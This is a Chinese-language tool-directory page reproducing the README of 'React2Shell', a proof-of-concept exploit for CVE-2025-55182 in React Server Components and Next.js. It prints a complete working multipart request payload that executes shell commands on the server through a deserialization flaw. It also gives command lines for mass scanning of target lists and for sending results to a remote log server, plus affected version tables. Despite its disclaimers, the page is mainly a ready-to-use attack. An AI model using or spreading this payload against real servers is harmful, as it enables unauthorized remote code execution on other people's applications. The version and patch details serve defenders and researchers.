Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
React2Shell-Exploit-CVE-2025-55182 — React2Shell 是一个针对 CVE-2025-55182 的概念验证漏洞利用程序,影响 Next.js 中易受攻击的 React Server Components (RSC) 实现。 | Kitploit
工具/GitHubGitHub/indra-031/react2shell-exploit-cve-2025-55182
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubindra-031/react2shell-exploit-cve-2025-55182

React2Shell-Exploit-CVE-2025-55182

React2Shell 是一个针对 CVE-2025-55182 的概念验证漏洞利用程序,影响 Next.js 中易受攻击的 React Server Components (RSC) 实现。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
121个月前尚未审核
分享

💀 React2Shell 漏洞利用 — CVE-2025-55182

root@kitploit:~
██████╗ ███████╗ █████╗  ██████╗████████╗██████╗ ███████╗██╗  ██╗███████╗██╗     ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║  ██║██╔════╝██║     ██║
██████╔╝█████╗  ███████║██║        ██║    █████╔╝███████╗███████║█████╗  ██║     ██║
██╔══██╗██╔══╝  ██╔══██║██║        ██║   ██╔═══╝ ╚════██║██╔══██║██╔══╝  ██║     ██║
██║  ██║███████╗██║  ██║╚██████╗   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

🔥 React Server Components 远程代码执行

CVE-2025-55182

作者:INDRA


⚠️ 免责声明

本项目仅供教育目的、安全研究和授权渗透测试使用。

作者对本软件造成的任何滥用或损害不承担任何责任。

请仅对您拥有或已获得明确测试许可的系统使用此漏洞利用工具。


📖 描述

React2Shell 是一个针对 CVE-2025-55182 的概念验证(PoC)漏洞利用工具,影响 Next.js 中易受攻击的 React Server Components(RSC) 实现。

该工具发送精心构造的 multipart 请求,滥用存在漏洞的反序列化流程,并通过应用程序的重定向摘要(digest)响应提取命令输出。

利用成功后,该工具会直接在终端中显示所执行命令的输出。


✨ 功能特性

  • 🚀 单目标模式
  • 🌍 批量扫描模式
  • 🔄 自动检测 HTTP 和 HTTPS
  • ⚡ 多线程执行
  • 📝 可选的本地日志记录
  • 🌐 可选的远程日志服务器
  • 🎯 清晰的输出
  • 🛡 禁用 SSL 验证(适用于测试环境)
  • 📂 自动去除重复目标

📦 环境要求

Python 3.8+

安装依赖:

root@kitploit:~
pip install requests urllib3

📁 项目结构

root@kitploit:~
.
├── exploit.py
└── README.md

🔥 受影响版本

React

版本状态
19.0⚠ 存在漏洞
19.1.0⚠ 存在漏洞
19.1.1⚠ 存在漏洞
19.2.0⚠ 存在漏洞
19.0.1✅ 已修复
19.1.2✅ 已修复
19.2.1✅ 已修复

Next.js

存在漏洞的版本

  • 14.3.0-canary.77 及更高版本
  • 15.x
  • 16.x

已修复的版本

  • 15.0.5
  • 15.1.9
  • 15.2.6
  • 16.0.7

📨 使用的 HTTP 请求

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚀 使用方法

显示帮助

root@kitploit:~
python exploit.py -h

扫描单个目标

root@kitploit:~
python exploit.py -u https://target.com

扫描多个目标

targets.txt

root@kitploit:~
target1.com
target2.com
target3.com

运行

root@kitploit:~
python exploit.py -f targets.txt

保存结果

root@kitploit:~
python exploit.py -u https://target.com -o results.txt

将结果发送到远程日志服务器

root@kitploit:~
python exploit.py -u https://target.com -l https://your-log-server.com

组合使用

root@kitploit:~
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com

📋 命令行选项

选项描述
-u目标 URL
-f包含目标域名的文件
-o在本地保存存在漏洞的目标
-l将结果发送到远程日志服务器
-h显示帮助

🖥 示例输出

root@kitploit:~
🚀 Loaded 42 targets (HTTP + HTTPS)

🔥 [VULNERABLE] https://target.com/

💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)

──────────────────────────────────────────────

⚙️ 工作原理

  1. 读取目标
  2. 自动生成 HTTP 和 HTTPS URL
  3. 发送精心构造的 multipart 请求
  4. 解析重定向摘要
  5. 提取命令输出
  6. 打印成功利用的结果
  7. 可选地将结果保存到本地或远程

📌 说明

  • 未提供协议时,会自动同时测试 HTTP 和 HTTPS。
  • 自动去除重复目标。
  • 使用 30 个并发线程。
  • 忽略无效的 SSL 证书。
  • 超时时间设置为 10 秒。

❤️ 致谢

  • 漏洞利用开发:INDRA
  • CVE:CVE-2025-55182

⚖️ 法律声明

未经许可针对他人系统使用本软件可能违反当地、国家或国际法律。

作者对任何滥用行为概不负责。


⭐ 如果这个项目对您的研究有所帮助,请考虑给它一个 Star。

狩猎愉快 🕷️

下载工具